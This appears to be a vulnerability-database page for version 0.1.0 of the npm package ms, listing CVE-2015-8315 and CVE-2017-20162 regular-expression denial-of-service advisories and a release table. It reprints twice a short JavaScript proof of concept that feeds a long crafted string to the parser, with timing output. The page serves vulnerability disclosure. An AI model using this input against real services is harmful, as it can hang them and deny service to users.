NodeJS/ms/0.1.0
Tiny millisecond conversion utility
https://www.npmjs.com/package/ms
MIT
3 Security Vulnerabilities
Regular Expression Denial of Service in ms
- https://nvd.nist.gov/vuln/detail/CVE-2015-8315
- https://github.com/advisories/GHSA-3fx5-fwvr-xrjg
- https://www.npmjs.com/advisories/46
- https://support.f5.com/csp/article/K46337613?utm_source=f5support&utm_medium=RSS
- http://www.openwall.com/lists/oss-security/2016/04/20/11
- http://www.securityfocus.com/bid/96389
- https://web.archive.org/web/20200227190911/http://www.securityfocus.com/bid/96389
Versions of ms
prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.
Proof of Concept
var ms = require('ms');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
ms(genstr(process.argv[2], "5") + " minutea");
Results
Showing increase in execution time based on the input string. ``` $ time node ms.js 10000
real 0m0.758s user 0m0.724s sys 0m0.031s
$ time node ms.js 20000
real 0m2.580s user 0m2.494s sys 0m0.047s
$ time node ms.js 30000
real 0m5.747s user 0m5.483s sys 0m0.080s
$ time node ms.js 80000
real 0m41.022s user 0m38.894s sys 0m0.529s ```
Vercel ms Inefficient Regular Expression Complexity vulnerability
- https://nvd.nist.gov/vuln/detail/CVE-2017-20162
- https://github.com/vercel/ms/pull/89
- https://github.com/vercel/ms/commit/caae2988ba2a37765d055c4eee63d383320ee662
- https://github.com/vercel/ms/releases/tag/2.0.0
- https://vuldb.com/?ctiid.217451
- https://vuldb.com/?id.217451
- https://github.com/advisories/GHSA-w9mr-4mfr-499f
A vulnerability, which was classified as problematic, has been found in vercel ms up to 1.x. This issue affects the function parse of the file index.js. The manipulation of the argument str leads to inefficient regular expression complexity. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 2.0.0 is able to address this issue. The name of the patch is caae2988ba2a37765d055c4eee63d383320ee662. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-217451.
Regular Expression Denial of Service
ms is vulnerable to regular expression denial of service (ReDoS) when extremely long version strings are parsed.
The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.
[1]
Proof of Concept
var ms = require('ms');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
ms(genstr(process.argv[2], "5") + " minutea");
Results
Showing increase in execution time based on the input string. ``` $ time node ms.js 10000
real 0m0.758s user 0m0.724s sys 0m0.031s
$ time node ms.js 20000
real 0m2.580s user 0m2.494s sys 0m0.047s
$ time node ms.js 30000
real 0m5.747s user 0m5.483s sys 0m0.080s
$ time node ms.js 80000
real 0m41.022s user 0m38.894s sys 0m0.529s ```
24 Other Versions
Version | License | Security | Released | |
---|---|---|---|---|
3.0.0-beta.2 | MIT | 2021-08-25 - 16:55 | over 2 years | |
3.0.0-beta.1 | MIT | 2021-08-20 - 15:29 | over 2 years | |
3.0.0-beta.0 | MIT | 2021-08-20 - 14:54 | over 2 years | |
3.0.0-canary.1 | MIT | 2021-09-15 - 15:40 | over 2 years | |
3.0.0-canary.0 | MIT | 2021-09-15 - 13:29 | over 2 years | |
2.1.3 | MIT | 2020-12-08 - 13:54 | over 3 years | |
2.1.2 | MIT | 2019-06-06 - 17:31 | almost 5 years | |
2.1.1 | MIT | 2017-11-30 - 18:30 | over 6 years | |
2.1.0 | MIT | 2017-11-30 - 16:54 | over 6 years | |
2.0.0 | MIT | 2017-05-16 - 12:26 | about 7 years | |
1.0.0 | MIT | 1 | 2017-03-19 - 21:43 | about 7 years |
0.7.3 | MIT | 1 | 2017-03-08 - 21:59 | about 7 years |
0.7.2 | MIT | 1 | 2016-10-25 - 08:16 | over 7 years |
0.7.1 | MIT | 1 | 2015-04-20 - 23:38 | about 9 years |
0.7.0 | MIT | 3 | 2014-11-24 - 07:59 | over 9 years |
0.6.2 | MIT | 3 | 2013-12-05 - 15:57 | over 10 years |
0.6.1 | MIT | 3 | 2013-05-10 - 15:38 | about 11 years |
0.6.0 | MIT | 3 | 2013-03-15 - 15:26 | about 11 years |
0.5.1 | MIT | 3 | 2013-02-24 - 20:27 | about 11 years |
0.5.0 | MIT | 3 | 2012-11-10 - 00:39 | over 11 years |
0.4.0 | MIT | 3 | 2012-10-22 - 17:01 | over 11 years |
0.3.0 | MIT | 3 | 2012-09-07 - 20:36 | over 11 years |
0.2.0 | MIT | 3 | 2012-09-03 - 20:33 | over 11 years |
0.1.0 | MIT | 3 | 2011-12-21 - 19:38 | over 12 years |